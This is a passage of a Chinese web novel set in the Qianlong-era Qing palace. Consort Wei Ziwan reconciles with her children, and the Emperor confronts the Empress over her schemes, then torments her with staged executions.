小甜糕变成了粘牙的米糕,魏紫菀险些没反应过来自己的乖女儿变成了皮女儿。 还凑到她面前问她,“额娘额娘,你是不是最喜欢和静/和恪了?” 魏紫菀作为母亲,后知后觉孩子们的心情,她伸出手,揉了孩子小脸两下,“你们都是额娘最喜欢的孩子,别害怕,额娘不会舍下你们的。” 真是糟糕,她这段日子的心情好似全被孩子们感受到了,所以这就是她们在她面前极尽乖巧的原因吧,是她不好,将这种心情带到孩子们面前。 她抱着两个孩子,没忍住哭了。 但很快又笑起来,劫后余生,那就得高兴,哭什么。 她挨个亲了女儿脸蛋,“额娘喜欢你们啊,最最喜欢你们了。” 孩子们就是她在这个时代的羁绊了。 两个孩子被亲得迷糊了,小脸红彤彤的,“福吉/福泽最喜欢额娘了。” 两小孩黏黏糊糊的,一左一右抱着她,不愿撒手。 第117章 第117章第三更 真是幸福的烦恼。 魏紫菀干脆将两个孩子都抱住,皇太后此时从屋里出来,“都解决了?” “解决了,多谢娘娘一直帮我说话。” “谢什么。”皇太后脸色有些惆怅,她不光是为贵妃说话,她只是发现原来不是有些人没了,有些事就能过去。 她好似也没那么得意自己走到最后了,她只是被剩到最后。 “你这回,可就别想着寻死觅活之事了。” “娘娘,妾身何时这么想过?”魏紫菀满脸无辜,绝不承认。 宫妃自戕乃是大罪,她这辈子都不可能想着寻死,她想过,她要是没有家族、儿女以及那些老熟人的牵绊,她会选择在死之前要了皇帝的命。 她辛苦近十年就是为了护住自己性命,但是有人要夺走她最重视的东西,她怎么可能无动于衷。 “……你还是这样最好了,以后别多想。”皇太后本想反驳,但是看到她这副精神模样,一颗提起的心缓缓落下,也算安心了,心情好了就没打算跟贵妃唱反调。 还是让贵妃高兴一会儿吧。 “这两个孩子怎么缠着你不放了。”皇太后看着两孩子这副黏糊糊的模样,面上怪腻歪的,心里怎么想就是另一回事了,她总不能让贵妃太过得意。 “可能是觉得妾身陪着她们,太高兴了吧,换娘娘来,也是一样的,福吉福泽,你们喜不喜欢皇玛嬷啊?” “喜欢/喜欢!” 两小孩异口同声,逗得老太太情不自禁眯起眼睛,笑得只见眼缝。 “那福吉福泽可要皇玛嬷抱?” 两小孩犹豫了一下,知道自己这时候该抱皇玛嬷,但是她们不想离开额娘。 “……不要。” 和恪小声道。 和静就大声点了,“想额娘抱,不要让皇玛嬷抱。” “知道了。”魏紫菀拍拍两小孩屁股,倒也纵容她们。 反正小孩不该学大人那套看人眼色的,两小孩无师自通讨好人,只怪她之前盼着留在寿康宫的念想太强烈了,所以两个孩子就特地讨好两位老太太。 是她的错。 尽管她也不后悔,那时她活着都喘不过气了,她没法注意到孩子们的变化。 况且过去的事情后悔没用,她只想跟孩子们过好每一个当下。 她歉意地看着皇太后。 皇太后没好气道,“那样看哀家做什么,哀家又不是非得拆散你们母女三,话说回来,哀家也好久没有听到福吉和福泽这两个小名了。” 魏紫菀无奈,“两个孩子记得就好,万岁爷在册封她们之前,她们的大名也不怎么被提起,现在被日日念着和静和恪,说到底这并非她们的名字。” “哀家知道。”皇太后伸出手摸了两小孩头上的两个小圆髻,觉得手感挺好的,还捏了捏,顽心十足。 魏紫菀只好当作自己没看到了,老太太就是得让人顺着,不就是捏捏孩子头发吗。 捏吧捏吧,反正头发这个部位捏多了也没痛觉。 “你还打算回储秀宫吗?”皇太后装作无意问道。 “回吧,婉嫔和颖贵人她们这段日子总是来找妾身,要是再不回,她们估计得闹翻天了,还有永琮永璐两个孩子,妾身也不能让他们担心。” 皇太后冷笑一声,她就知道贵妃是个没良心的,说好留下来,但事情解决了拍拍屁股就想走。 想的全是美事。 “不过妾身估计得天天来吵您了,到时妾身可就带上婉嫔和颖贵人,您不觉得妾身吵就好。” “吵就吵吧,哀家又不是没见过你吵,这宫里热闹些也好。” 皇太后其实并不介意寿康宫吵起来。 她很久之前就觉得,寿康宫好似太过安静了,她还天天跪在佛像前,念经静心。 日子久了就觉得这日子好似也就这样,太安静了就没有人气了。 总让她想起往事,想起先帝还活着时的旧事。 …… 魏紫菀回到储秀宫时,对宫内的风声并不知晓。 不知道皇后被皇帝拂了面子,也不知养心殿换了一遍摆设,婉嫔和颖贵人担心她多想,没将这事告诉她。 毕竟她前段时间那精神状态,看过的人都知道离疯了不远了。 现在好不容易换了副积极向上的面孔,那必须得将这些事情瞒着,瞒得越久越好,哪天皇帝恢复如常了,娘娘更无需知道此事了。 反正她们都知道娘娘的打算了,以后她们储秀宫就不争宠了,去尽孝道! 这也是一条攀附贵人的路。 皇帝是贵人,皇太后也是贵人,反正皇太后现在心思全在娘娘身上了。 颖贵人忍不住道:“我就知道娘娘去哪儿都能讨人喜欢的。” 她还想说,不就是皇太后吗,但是这话说来太大逆不道,她给了婉嫔一个眼神,指望这段时间在储秀宫和关嬷嬷李公公主持大局的婉嫔说句话。 婉嫔斟酌半响,没有辜负颖贵人的期待,给出一句中肯的话,“娘娘做的事从来都是对的。” 她觉得自己已经站在十分中肯的角度说出这话了。 颖贵人心满意足点头,“你说得对。” 魏紫菀回到老房子,心情舒坦,和静和恪两孩子回到自己住处,高兴坏了,跑前跑后,还去跟偏殿的娘娘们打声招呼,作为回来的仪式。 魏紫菀觉得两个小孩根本就没有这种概念,只是高兴了就想跟周围的熟人分享,但是那些妃子们显然很配合,将两个小孩哄得找不着北。 她干脆在自己匣子里数来银票,“今日本宫高兴,都有赏。” 上司发疯时底下干活的也是有苦难言,她虽然没有发疯,但她也是精神不对劲许久了,也是苦了她们跟她受罪,银两就是最好 弥补精神的方式。 银两到位了,笑容也就到位了。 尤其是她身边这几个,要多分。 …… 魏紫菀花了些时日调整自己状态。 永琮永璐两孩子得知消息后立马过来。 先前她在寿康宫时,两个孩子不是不想过来,但是被她一句不想让他们记住额娘现在的模样给打回去了。 现在精神好了,那就得聚在一起恢复下感情了。 两个孩子顾不上自己现在长得有模有样的身板了,一把抱住额娘就哭。 魏紫菀也不知道两个大孩子哪来的这么多泪水,不是说男儿有泪不轻弹吗。 从他们哭的那时起,这泪水就崩盘了,控制不住了。 魏紫菀无奈,只能拍着两半大小子后背,安慰他们,额娘在。 她也没觉得自己这段日子又多不正常,怎么这一个个都哭得稀里哗啦的。 第118章 第118章第一更 兄弟俩在额娘面前哭过一会后,后知后觉自己脸面全失。 不是说不能在额娘面前哭,但不能当着这么多外人哭,那他们的面子不都丢光了。 尤其是永琮,一张俊脸绯红,他平时在兄弟面前是一贯的温润如玉,如沐春风,反正世间什么好词都能往他身上堆砌,他能年纪轻轻就一改从前闹腾的性子,可见多在乎自己脸面。 但是他刚才破功了,他现在的脸要多红就有多红。 恨不得立马跑出储秀宫,走到一个谁也不认识自己的地方。 魏紫菀看透大儿子的要脸面了,倾述过母子情后,她就将两个儿子赶出储秀宫了,“去找你们那些兄弟吧,都这么大了还在额娘面前哭,这脸红成什么样了。” “额娘!我才没哭。”永璐脸羞红,但总归有个台阶下了,远离了妹妹们,他脸没那么红了。 “七哥,七哥?”永璐正想喊七哥去找兄弟们,这一趟回来看到额娘平安无事就好,但是转头一看,七哥脸色红透了,他忍不住晃了下七哥,“七哥,你没事吧?” “爷没事。”永琮这才从后知后觉的害羞中走出来,拍开弟弟的手,“去跟大哥他们商量吧。” 他脸色有些肃重,这回,他感觉皇阿玛变了,皇后那事应该能给出个答案了。 他们兄弟不求别的,只求安宁,若时时刻刻有人威胁到自己,只差一个最好的动手时机,这种被人所控的难受,他们无一人想再次体会了。 他也不想再让额娘担心他们兄弟俩了。 …… 乾清宫,帝王平息所有怒火后,也不愿看到后宫的任何人任何事了。 偏生这时候奴才查来皇后的动静了。 乾隆帝将富察氏一族和皇后这些年的动作都看在眼里,心里除了可笑只觉得荒唐,又想起九个儿子最近的动作,冷笑不止,“朕的那些好儿子啊,可真是心比天高。” “皇后这些动作收拾得真干净。”乾隆帝唏嘘一声,似笑非笑。 “再仔细查,若皇后真动了手,必会留下痕迹,朕要你将这些痕迹都查清楚,不能有一丝纰漏。” 他已经能确定这九个儿子的不对劲因皇后而起,但是全都给他脸色看,即便看着无欲无求,但所有人都这样,就不是无欲无求了,而是居心叵测。 他现在正心烦意乱,懒得理会这些儿子想做什么。 反正无论做什么,将一切因果都斩断了,也就无所谓了。 “摆驾长春宫。” …… 长春宫外,皇后早早得知消息,便早早候在长春宫外等待帝王到来。 只是起身时看到帝王脸色淡淡,她提心吊胆候在一旁,万岁爷最近心情都不好,上回还是头一回对她发脾气。 她有种预感,今日的万岁爷同样难以应付,但愿万岁爷别将气发泄到她身上。 她作为中宫之主,已经失了一回脸面,绝不能再失第二回,这种事不能一而再再而三发生,不然她要如何取信于后宫妃子。 只是她在皇帝开口时,还是忍不住惊了一惊,万岁爷竟然问起她:“皇后,你可记得陆氏这个人?” 记得,她怎么会不记得,算计娴妃那胎时,她用的就是陆氏当挡箭牌,并且至死也没放过陆氏。 “万岁爷,您说的可是那罪人陆氏?” “罪人?”乾隆看了她一眼,嘴角含笑,“确实是罪人,是罪孽深重的罪人。” 皇后眼皮重重一跳,万岁爷这话,是不是在意有所指,“万岁爷,您问妾身这话,可有吩咐妾身的事?” 乾隆不理会她的客套,继续发问,“皇后,你可还记得西林觉罗氏,朕说的是永璋的侧福晋。” “……记得。”皇后故作疑惑,可心里早就掀起惊涛骇浪了,万岁爷不是无缘无故问她这些事的人,一定是这两人死后仍旧不安生,让皇上注意到她们生前留下的痕迹了。 “妾身记得西林觉罗氏是永璋一眼相中的侧福晋,跟永璋感情不错。” 乾隆笑了笑,“确实如此,朕原先觉得西林觉罗氏一族心大了,居然敢算计永璋,便让他们无法如愿以偿,但永璋对西林觉罗氏的用情至深,确实在朕预料之外,或许正是永璋对西林觉罗氏的看重,让她怀上头个孩子还不满足,心大了,还起了算计人的心思,城府之深,朕不得不叹。” “万岁爷……”皇后眉头蹙起,“您跟妾身说起这事,可是这两位罪人……要吩咐妾身处置干净?” 乾隆眼皮掀起,又看了她一眼,心情出乎意料的平静。 皇后如何又与他有何关系,他只想将自己满心的憋闷全数发泄出来,这后宫妃子、子嗣后代,将他们带来的麻烦处理干净,也算是省了他恨不得将他们都毁了的念头。 不管怎么说,他们都是他儿子,若是没犯下大错,虎毒不食子,没必要伤了他们。 而那些宫妃,好歹也伺候他有些年岁了,只要确保没有掺和进他和紫菀的事,他饶她们一命。 既然如此,便将罪魁祸首都找出来,让他看清楚到底是谁在他面前碍眼了。 好一刀两断。 “宣阿哥们过来吧,不必让十二阿哥过来了。” “万岁爷!”皇后的声音忍不住加重了。 实在太奇怪了,从那次在养心殿发脾气将所有东西都砸了后,皇上不再进出皇宫,甚至举手投足间,全是戾气。 皇上眸子里有哪怕用温和的语气和极尽温柔的脸色都掩盖不住的狠厉。 皇上变了。 这个念头一直在心里徘徊,她无法不多想。 皇上发脾气的时候正是令贵妃回去储秀宫的时候。 是不是魏氏吹了枕头风,或是皇上察觉到什么了。 所以今天才会这么奇怪,她几回问话,万岁爷都避而不谈,反而说起陆氏和西林觉罗氏的事。 而且,她最在意一点,皇上为何无缘无故说起西林觉罗氏和永璋的往事,还说西林觉罗氏城府深,心大了,这是不是在意有所指。 正当此时,九位皇子也都过来了。 “儿臣给皇阿玛请安,皇阿玛万岁万岁万万岁。” “儿臣给皇额娘请安,皇额娘千岁千岁千千岁。” “免礼/起来吧。” 帝后二人各自发话,九位皇子这才起身,都趁着别人不注意时快速对上视线。 他们兄弟九人刚聚在一起时,就被皇阿玛叫来长春宫,也不知皇阿玛有何要吩咐的。 而且这里还是皇后宫所,皇阿玛叫他们过来,是不是有所察觉了。 第119章 第119章更新来了 乾隆帝一副坦坦荡荡,无所顾忌的模样,“都过来,别给朕磨磨蹭蹭,别以为朕看不透你们的心思,也别将朕当蠢人愚弄。” 听到这话,九个阿哥脸色惨白,到底是初生 牛犊不怕虎,哪怕他们之中年纪最大的永璜,也是白了一张脸。 当儿子的怎么斗得过当老子的,这儿子又没长多少心眼,只是凭借自己的一股意气行事。 九人想出来的办法固然杀敌一千自损八百,乾隆帝看不上他们的办法,也恼怒极了这些儿子都不将皇位放在心上。 他忌惮他们觊觎皇位,但也没想过这九个儿子没有一个是有骨气的。 这忌惮也好,不忌惮也罢。 要是让九位皇子得知帝王真实想法,那脸色有多难看可想而知。 若非是皇阿玛不愿他们这些儿子争,他们也不会将放弃争夺皇位讲得这样轻易,但凡是皇子,心里要是没有一丝对权力的欲望,那不可能。 那是生来就刻在人骨子里的东西,不论男女,若是天下有不愿争权的男女,也不会出现“靖难之役”的朱棣以及武周皇帝武则天了。 只是撞破南墙不回头的蛮劲在这九位皇子身上并没有任何体现,他们不争比争来的结果好太多了,他们知道分寸。 他们身后还有自己的额娘妻儿,哪容得了他们任性,就为了皇阿玛口中的有骨气,能护住自己兄弟额娘妻儿就是男儿最大的骨气。 皇阿玛所说的骨气只不过是自己高人一等的说法,争了只剩坏处没有好处算什么有骨气。 “皇阿玛要吩咐儿子何事?”永璜是老大哥,自然头个发话。 乾隆神色微妙,“你何等心思你就直白地说,朕听着,你怕皇后害了你们九个兄弟,在朕面前故作不问世事,你们兄弟九人确实做得不错,朕确实注意到这事了。” 九位阿哥没想到皇帝如此直白讲来他们的目的。 因此一个个神色紧绷,脸色晦暗不明。 永琮突然觉得有些可笑,皇阿玛既然已经查清楚了,还怪在他们这些当儿子的身上,冤有头债有主,他们兄弟九人只不过是不愿争了,也没有那股向上的心气,皇阿玛不该跟皇后计较吗? 跟他们这些儿子斤斤计较做什么。 果然这当了儿子的,一辈子都得被老子压着。 尤其是他们的权力地位身份全部取决于这位老子时。 想到这里,永琮心情平静许多了。 料想额娘也是这样过来的,他们既然要在皇阿玛身边过着手心向上的日子,让皇阿玛舒心是极其自然的事,他们只需要恭维皇阿玛,让皇阿玛顺心即可。 永琮神色不知何时跟贵妃有些神似了。 乾隆视线不自觉落到这个儿子身上,随即而来的是暴怒。 他再次感觉到,他的这些儿子,其实跟贵妃没有任何区别,都是想着让他舒心,可是没有一个真心将他当作皇阿玛看待的,如同贵妃,他以为她会将他当作丈夫的。 可是自始至终,都只是皇帝。 他将她当作妻子,当作红颜知己,当作心爱之人,但是他在她眼里只是生杀予夺,皆自他制之的帝王。 所以她会害怕他,害怕他杀了她。 贵妃打从一开始就没将他当夫君,从来都是君王。 乾隆心里升起密密麻麻的疼痛,似针扎,也似蚂蚁噬咬,也就论不上跟这些儿子算账,“都给朕吭声,都不吭声是跟朕装死?” “儿子不敢。” 九位皇子齐齐低下头的模样真让皇帝气笑了。 真齐心啊,跟他去寿康宫找贵妃时,裕贵太妃和皇太后齐齐阻拦他的齐心有何区别,都是怕他惧他会对贵妃做什么。 他也没做过伤害贵妃的事吧,贵妃伤害他的事就发生在所有人跟前,为何没有一个人看到,都觉得是他伤害了贵妃。 他都恨不得刨出真心问贵妃到底还想他怎么样。 他也只是得知贵妃从未真心待他,而升起对贵妃的恨和杀念,但偏偏是那一眼,便让贵妃一辈子都记在心里,也彻底畏惧他了。 乾隆想了许久许久,终于想明白当初贵妃为何会突然那般惧怕他了。 也明白他在生贵妃气的日日夜夜,贵妃早就将对他为数不多的那点真心全丢掉了,在日复一日的惶恐中,也在他日复一日的恨和不解中。 他无从下手。 他将九个儿子都叫过来,就是想看看这九个儿子在他面前可还有一个当儿子的模样,结果跟贵妃一样,面目全非。 皇后早就站住不动了。 从皇上说出‘怕皇后害了你们九个兄弟’开始,她就站住不动了。 夫妻多年,同床共寝二十多年,如果不是她做的事情都让皇帝发现了,皇上不会说出这话,她还有什么可说的。 嫡子不被帝王看重,她也失去帝王敬重了,若是认了那些事,还能保留最后一丝作为皇后的脸面。 她信皇帝能做出废后这种事,也信皇帝能为了皇家脸面,将一切事情都掩盖下去。 只看皇帝是怎么做的。 乾隆突然问道:“皇后,你可曾将朕当作你夫君?” 皇后愣了一下,“万岁爷在妾身心里,永远都是夫君。” 乾隆心里毫无波澜,“可朕该是皇帝。” 皇后将他当作夫君又如何,他也不在意这种事了,“你害了那么多人的性命,也曾算计、无所不用其极,朕宁可你只是将朕当作皇帝。” 皇后哪怕是将他当作皇帝畏惧,都不敢做出这种事。 而他不愿贵妃将他当作皇帝,在他面前多使些性子,都不见贵妃对他破例。 若是早些年发现贵妃对他不是真心就好了,他也能轻易舍下贵妃了,偏偏是十年。 整整十年。 皇后轻轻叹了口气,“万岁爷,您想让妾身如何,妾身是您发妻,妾身不将你当作夫君,您还想让何人将您当作夫君,这后宫妃子吗?还是……贵妃?” “这后宫妃子无一人有资格敢称您妻子,也没有资格将您当作夫君,还是说,您想废了臣妾,送贵妃上位,那臣妾告诉您,您这辈子都休想!凭贵妃的出身,您这辈子别妄想。” 果然是相处二十多年的夫妻,皇后一眼便看透了皇帝的真意。 也彻底撕破夫妻之间最后一点脸面。 若是她的后位被一个包衣抬旗的妃子接替了,她忍不了。 她的后位不光是她的,还是富察氏一族的,她绝不允许富察氏一族的脸面被一个包衣抬旗的妃子践踏了。 好在皇帝不至于糊涂至此。 皇后还是能看出自己说出这番话后,皇帝眼中的震惊。 第120章 第120章更新来了 “你怎么会觉得朕会册封贵妃为后?”乾隆帝也是头一回从旁人口中得知这种说法。 他费解极了,他从没说过将贵妃册封为后,也没想过这种事,就算他将贵妃送上后位,以贵妃现在对他的畏惧,怕是会以为他又在动用别的手段了吧。 皇帝的脸色不知何时紧绷起来,眸子流露着奇异之色,好似头一回知道贵妃能成为他的皇后,尽管他的直觉在告诉他这种事是痴心妄想。 以贵妃包衣抬旗的出身,魏氏一族甚至不是满人,是汉人入包衣旗,这样的祖上,哪怕后来抬旗了,也跟后位无关,贵妃这辈子也只能成为皇贵妃。 宗亲臣子必然反对贵妃成为皇后。 甚至于一直偏袒贵妃的皇额娘会一改往日对贵妃的偏袒,毅然反对他册封贵妃为后。 这是冒天下之大不韪,没人会理解他的,甚至他也不能理解他自己。 将贵妃送上后位,这个说法未免太可笑了,一个包衣抬旗的女子,缘何能成为皇后,她甚至心里没有他,又如何会心甘情愿成为他的皇后。 这是不可能的事。 所以他还在想着这事做什么。 可是一想到紫菀要成为他的皇后,他心脏震得又疼又麻,好似看到了斑驳陆离的光影,一朵花在他眼前慢慢绽放,花色紫而柔宛,柔细的花瓣四溢,好似轻飘飘飘到他面前,飘散在空中。 透过那朵花,他看到了一双含笑的眸子。 在她的眼睛里,他看到高而拔起的山上,迎风飘扬,无数紫菀花开,盛开在一片紫色的花海中,风起翻涌,他触目之处皆是淡雅明媚的无边秋色。 沙沙作响。 从很久之前,他就知道紫菀花是一种极美的花了。 乾隆帝从愣神中反应过来后,脸色不知为何平静了些,“皇后,你是要激怒朕?” 他淡淡笑了,“朕确实被你激怒了。” 皇后直觉作祟,额头神经跳个不停,她将手摁在额头上,极力平复那种不安的感觉。 皇上刚才发现她做的事、质问她,她都没有这种不安的感觉,因为即便猜测皇上会做出废后这种事,但她跟皇上夫妻几十年,她也最清楚皇上是最重视自己脸面之人。 一举一动都是效仿万岁爷心目中的千古一帝,也就是康熙帝。 康熙帝一辈子不曾废后,万岁爷若是做出废后之举,便是打破万岁爷一直以来的执念。 她清楚万岁爷为了这个执念能做到什么地步,甚至能让一切都为这个执念退让。 这超过了万岁爷一直以来掌权的念想,最可怕的是,万岁爷大权在握就包括了皇太后的后宫不得干政,若是连亲生额娘都无法动摇万岁爷的心思,万岁爷何至于让废后的名声跟自己绑定。 皇上不会废后的。 只是会要了她的性命,她至少还能安然赴死,这对她是最好的结局了。 她何必不安,早在当时动手时,不是就猜到了有这个后果了。 皇后身子微微颤抖,甚至不知何时皇子们都离开了,万岁爷也离开 了,没有哪个人知道自己要死了还能不害怕。 她身子逐渐抖得更厉害了,忍不住地发颤。 原来人将死是这种感觉,但是那些人怎么死得那样轻易,她们就不害怕的吗。 …… 皇子阿哥们离开时反而成了一头雾水的那群人。 他们看清楚皇阿玛明白皇后所作所为了,但是不清楚他们之后的对话怎么发展成那样,莫名其妙就变成皇上要册立贵妃为后。 永琮永璐两兄弟眉头皱得好似能夹死苍蝇,他们费解极了,皇后讲话能不能不要牵连到他们额娘,要是觉得自己保不住后位,那要怪的不该是自己吗,自己做的孽为何要牵连到他们额娘。 现在其他兄弟看他们俩的眼神都奇怪极了。 他们明知道额娘的身份成为不了皇后,也知道皇阿玛跟额娘最近闹翻天了,谁也不理谁,可额娘都回储秀宫了,跟皇阿玛的矛盾也该解开了,从今往后,桥归桥路归路。 皇阿玛看着也没有搭理额娘的心思,额娘也没有将皇阿玛有了新宠的消息放在心上。 这结果挺好的,偏偏皇后说了那句话。 后位这种事能是后宫妃子肖想的吗,放眼整个后宫,有资格够到后位的只有娴妃和舒嫔,其他人想够着这个位置,祖上冒青烟都别想。 后宫绝大多数高位都是母凭子贵坐上高位的,这家世够不上,那就没资格成为皇后。 也包括他们的额娘,尽管他们额娘是大选进宫,跟母凭子贵这句话半点关系都没有,但魏氏一族确实家世不显,又不是满洲老姓。 两兄弟近乎咬牙切齿了,兄弟们看向他们的眼神越不对劲,就证明皇后那句话给他们所有人留下的印象有多深刻。 永璜拍了拍七弟九弟肩膀,“别将皇额娘所言放在心上,她不过还在痴心妄想。” “嗯。”永琮点头,一双眸子仍凝着深思。 皇后的事情解决后,可就别再闹出幺蛾子了。 他们兄弟九人固然有兄弟情,可抛开兄弟情,还有各自的额娘各自的同母兄弟各自的母族。 额娘要是被皇后说成板上钉钉的继后,那得给额娘添多少麻烦。 毕竟好些高位就是潜邸旧人,是皇阿玛还是皇子时就陪在皇阿玛身边的妾室,大多数跟额娘一样起初是包衣出身,若是额娘能成为皇后,这些潜邸旧人也能搏一搏后位了。 这是非得让好不容易恢复如常的额娘陷入这后宫的争斗中——但凡有个兄弟将今日皇后所言告知自个儿亲娘,额娘今后都不会安生。 一瞬间两兄弟恨死皇后了。 …… 皇后被关押在长春宫了。 皇帝始终没说皇后的处决,皇后便日日陷入惶恐不安中。 第一回,乾隆帝派人赐下鸩酒,皇后颤抖着双手将鸩酒捧起,一饮而下。 鸩酒给人带来的死法是极其痛苦的,死相也是极其难看的,不像一条白绫,悬挂在脖子上还能给人留个体面的死法。 可是皇后喝了以后,在脑海里平静想着自己这一生所有回忆,家族、儿女、地位、权势,好多都值得她留恋,甚至是她在院子里刚种的一株花,她突然想到,她应该给花浇水了。 关于死亡的惧意前所未有的强烈,她掐着脖子,恨不得将酒水呕出来。 可呕了半日,她脖子被她掐红,她什么都没吐出来,只有数不尽的苦水。 身边奴才无一人阻拦她,甚至送她一杯鸩酒的奴才都在冷眼旁观。 好似今日不是皇后的处刑日。 过了许久许久后,皇后这才反应过来,她喝的根本不是鸩酒。 她崩溃大哭,她好不容易做好赴死的准备,但这酒居然不是鸩酒,她从喝下酒水的前后受尽无数煎熬,皇上为何不一了百了赐死她。 她哭了许久才平静下来。 又庆幸般想着万岁爷是不是放过她了。 到底一夜夫妻,百日恩义,万岁爷或许还念旧情。 忐忑不安过了数日,直到太监又送来一杯鸩酒,皇后再次崩溃了。 再一次赴死的滋味让她生不如死。 这种心理上的煎熬跟凌迟处死没有任何区别。 可再次喝下这酒后,她等了许久,仍是不见毒发,她这次煎熬不住了,将屋里的东西都砸了。 一片狼藉,狼藉中又见太监赶来,这次送来的是一条白绫。 皇后正处于一身崩溃又松懈中,这突如其来的白绫让她话都不会说了,双手颤抖着将白绫抓着,半天都没有动作,还是身旁奴才等不及,将白绫夺走,抛在房梁上,打了结,只待皇后挂在白绫上。 皇后踩在凳子上,颤抖着将身子靠过去,但人还没挂上,白绫就断了。 皇后抓着断掉的白绫又哭又笑,事到如今,她如何不清楚皇上是在一次又一次的戏耍她。 让她受尽煎熬。 一次次做好赴死的准备,又一次次为自己无法死成生不如死。 她已经被凌迟一次又一次了。 最可怕的是,她不知道下一次是不是真的,或是下一次是假的,但下下一次就会是真的,所以每一次赴死,她都备受煎熬。 …… 皇后突然没了消息,好多双眼睛都盯着长春宫。 皇子们无一人敢说那日发生了何事。 皇帝让皇太后暂管后宫之权,一切风雨欲来,魏紫菀没去问两个儿子发生何事了。 长春宫这样,要不是皇后出事了,要不就是别人的算计拉下皇后了。 不管哪个,事关中宫之主,她不愿意趟浑水,倒是慧妃这段日子蠢蠢欲动,总是过来寻她。 120-130 第121章 第121章更新来了 魏紫菀对一切不请自来的人,都没有好感,慧妃可以来,但招待慧妃的就不是她了。 是婉嫔或是颖贵人都有可能。 况且她也并非次次都能被慧妃逮着,她带上婉嫔和颖贵人去寿康宫陪两位老人家,慧妃想算计她,难如上青天。 尤其是皇太后接管后宫权后,忙了起来,除了她能过去寿康宫,其他妃子都没法过去。 魏紫菀便专心陪着两位长辈,两个女儿回到储秀宫后显然更活泼了,再次跟着额娘来到寿康宫,那小嘴别提多会说话了。 两个浸泡过蜜水的小甜娃,张口就是“皇玛嬷,贵玛嬷,和静/和恪想你啦”,哄得两位老人家眉眼弯弯,心里乐开花。 曾一度看到两孩子过来就将孩子抱走,看到她还觉得不大行,让她将两孩子留下来过夜,自己打道回府。 所谓祖孙隔代亲在这两孩子面前表现得淋漓尽致。 也就是皇太后还忙,魏紫菀最常陪着的是裕贵太妃,裕贵太妃通常一手抱不住两娃,还得让娃娃亲娘逮着两个孩子,魏紫菀在裕贵太妃面前还是颇得脸面的。 当然,都是自己人了,裕贵太妃在孩子们面前做出一副要孩子不要额娘的模样,不过是在逗两个孩子玩。 看着两 孩子护在自己额娘面前为额娘说话,那小模样还怪有意思的。 别看这两孩子平时口口声声“玛嬷最好啦”,但对上自己额娘,什么事都不如自己额娘重要,完全学了她们额娘的性子。 贵妃平时口口声声敬重长辈,但在关键的事上,完全偏向自己或是儿女。 但这没什么不好的,裕贵太妃一直都挺喜欢贵妃的。 也喜欢贵妃这性子。 裕贵太妃偏袒起贵妃时,也是不讲道理的。 裕贵太妃跟贵妃谈起一件事,“贵妃,皇后那边,怕是犯下不可饶恕的罪过了,皇太后忙后宫事忙得焦头烂额,你最好少来寿康宫了,若是撞见万岁爷,万岁爷脾气上来,你就容易受无妄之灾。” 她是提醒,也是不安。 连皇太后都没法说出劝皇帝的话,可见这事有多严重,严重到或许要废后了。 “富察氏一族,在这朝本是极其昌盛,枝繁叶茂,本不该出事的。” 念及富察氏这样的出身,裕贵太妃忍不住叹了又叹,便是可惜这么大的家族会受影响,但没有哪个家族能一直得意下去,连钮祜禄氏嫡系子弟中都能出现被贬入包衣旗的情况,富察氏为何就一定确保安然无恙。 但她心里总归是惋惜的。 眼见他起高楼,眼看他楼塌了。 魏紫菀是不在意皇后发生何事了,但裕贵太妃当面跟她说,就没必要遮遮掩掩故作不知了,“不管皇后娘娘如何,只要娘娘一日还是中宫之主,妾身便敬重她,将她视作天下最最贤惠的女子,还请您不必担心皇后娘娘。” 她笑容瞧着无比真挚。 裕贵太妃端详了好一会儿,才撇了下嘴,“笑得太假了,一看就是皇后也得罪过你。” 魏紫菀大喊冤枉,“就不能是额娘看错了吗?我怎敢对皇后娘娘虚情假意。” “你岂止敢对皇后虚情假意,你还能对皇太后也虚情假意,便是她纵容着你,不然换个妃嫔在她面前一晃眼,再露出同样的笑容,那不得被送回去禁足,娘娘可是眼里容不得沙子的性情。” 魏紫菀心里琢磨,她感觉自己的笑不会出错的,这都在皇帝那里验证好多年了,皇帝就没发现过她的笑有任何不对劲。 可能是这次皇后倒霉,她心里过于高兴了吧,一下子掩盖不住自己内心的欢愉,导致自己这次的笑容被人看出带了那么一丝丝假意。 被皇后的算计逼迫着不得不全神贯注防止自己被牵连进后宫算计中,这十年来,她算是受够了皇后和慧妃的算计。 说句难听的话,不管是皇后还是慧妃倒霉,她心里都高兴。 她厌恶这些斗争,本来就熬不过皇帝寿命,还得腾出精力才应付这些斗争,怕是嫌自己活得太长了。 所以皇后一经出事,她是真心没法控制自己的喜悦。 裕贵太妃判断的虚情假意可以是真的。 想到这,她摆正了自己的态度,“额娘,话不能这么说,这虚情假意又怎能让人用眼睛判断,得用心体验过了才行,您张口就给女儿下判断,也就是女儿心胸宽大,方能接受您那句话,换个脸皮薄的女儿家,回去以后,那不得憋闷到辗转反侧,而且女儿待皇太后一向真情实意,您说女儿虚情假意,那女儿可就不认了。” 裕贵太妃将手伸出去在她胸口摁了一下,“好了,哀家体验过了,确实是虚的,也是假的,贵妃,你还有什么话尽管狡辩吧。” 魏紫菀:……好生机灵的老太太。 她还真妄图狡辩了,“额娘,您说女儿要狡辩,便是将女儿敲定在这虚情假意的罪名上了,女儿可不被这个锅,您得想想,女儿不过是笑了下,您便说女儿笑得假了,但换个人来看,未必觉得女儿笑得假,也就是说,您完全是凭借自己的一己私念下定义的,您的判断便存了疑。” 裕贵太妃看了她一眼,赌气道,“哀家说不过你了。” 魏紫菀笑了下,无奈道:“至少女儿待您从不虚情假意。” “这话倒是真的。”裕贵太妃心情转好,“不管怎么说,你最近别来寿康宫了。” “那娘娘过来寻妾身?” “荒谬!哀家总是过去寻你,那得多不像话。” “可是娘娘没有反对啊,那就是同意对吧。”魏紫菀一击即中。 裕贵太妃磨蹭了许久,方才勉为其难答应下来了,“就当哀家实在受不得你撒泼打滚吧。” “是。”魏紫菀眉眼弯弯,尽管撒泼打滚这种事从未发生在她身上,但裕贵太妃高兴就好。 总得给老人家一点面子。 …… 又过一个月,皇帝收集的皇后罪证终于呈现在御案前,乾隆帝望着那些罪证许久许久,这才淡淡问道:“皇后如今如何了?” “万岁爷,皇后娘娘凤体抱恙,茶饭不思。” 直白点来说就是皇后被他折磨得吃不下饭菜,生病了。 “将皇后身体养好些,接下来的事——朕可不愿她就这么轻易过去了。” 让帝王最为恼怒的不止是皇后在宫里犯下的罪孽,还有她过去跟慧妃针锋相对做的孽事。 他有种直觉,贵妃始终无法对他托付真心,也因这后宫种种算计。 第122章 第122章大长章 真心何其难得。 